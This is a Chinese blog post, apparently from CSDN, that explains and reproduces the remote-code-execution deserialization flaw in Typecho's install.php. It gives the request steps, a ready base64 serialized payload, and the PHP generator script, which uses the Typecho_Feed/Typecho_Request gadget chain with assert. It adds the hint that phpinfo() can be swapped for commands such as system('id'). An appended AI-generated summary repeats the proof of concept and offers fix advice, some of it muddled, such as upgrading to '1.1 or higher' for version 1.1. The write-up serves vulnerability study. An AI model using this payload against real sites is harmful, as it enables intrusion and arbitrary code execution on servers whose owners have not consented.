typecho反序列化漏洞原理及复现过程

本文详细解析了Typecho博客程序中存在的一种反序列化漏洞,该漏洞源于对特定参数的不当处理,允许攻击者通过构造恶意请求,绕过正常验证流程,执行任意代码。文章提供了漏洞利用的具体步骤及示例代码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞介绍
Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理
漏洞形成
由于源码的以下几行存在反序列化漏洞与逻辑绕过,形成漏洞
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
漏洞利用
思路:
由于install.php代码验证了finish参数,请求头HTTP_HOST,post数据__typecho_config,所以我们要加上这几个参数进行绕过
1.添加install.php?finish参数
http://localhost/typecho/install.php?finish=1
2.添加Referrer数据头为本地
http://localhost
3.添加post值__typecho_config=脚本运行得到的攻击代码
代码:

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

脚本源码:

<?php
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}
$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));

之后在脚本里phpinfo()处替换代码即可生成对应注入语句
4.输入后效果
在这里插入图片描述
5.执行后效果:phpinfo被打印
在这里插入图片描述

Typecho 1.1 版本中的反序列化漏洞主要涉及的是 CVE-2018-18753,该漏洞源于系统在处理用户输入时未能正确验证反序列化的数据,导致攻击者可能通过构造恶意请求执行任意代码。 ### 漏洞原理 漏洞的核心在于 Typecho CMS 在 `install.php` 文件中对 `__typecho_config` cookie 值进行反序列化操作时,未正确校验其内容。由于 `__typecho_config` 是可控的(通过 Cookie 修改),攻击者可以注入特定的序列化字符串来触发反序列化漏洞。在 PHP 中,反序列化操作会调用对象的魔法函数(如 `__construct()`、`__destruct()` 等),从而可能导致任意代码执行 [^3]。 ### POC(Proof of Concept) 以下是针对此漏洞的一个典型 PoC 示例: ```php <?php class Typecho_Feed { const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items; public function __construct() { $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'link' => '1', 'date' => 1508895132, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct() { $this->_params['screenName'] = 'phpinfo()'; // 这里可以替换为其他命令执行函数,例如 `system('id')` $this->_filter[0] = 'assert'; } } $exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($exp)); ?> ``` 该 PoC 利用了 `Typecho_Feed` 和 `Typecho_Request` 类的构造方法,在反序列化时触发 `assert` 函数并执行任意代码(如 `phpinfo()`)[^2]。 ### 安全修复建议 为了防止此类漏洞的发生,Typecho 团队在后续版本中采取了以下安全措施: 1. **输入过滤与验证**:加强了对用户输入的验证机制,尤其是对于从 Cookie 获取的数据进行了更严格的过滤。 2. **移除不安全的反序列化逻辑**:优化了配置信息的存储方式,避免直接使用反序列化处理用户提供的数据 [^3]。 3. **更新补丁**:官方推荐所有使用受影响版本的用户尽快升级到最新稳定版(1.1 或更高版本),以确保系统的安全性。 ### 安全最佳实践 - **最小权限原则**:Web 应用应运行在最小权限下,避免攻击者利用漏洞后获取高权限。 - **定期更新依赖库**:确保所使用的第三方组件和框架保持最新状态,及时应用安全补丁。 - **启用 Web 应用防火墙 (WAF)**:通过 WAF 可以检测并拦截恶意请求,减少被攻击的风险。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值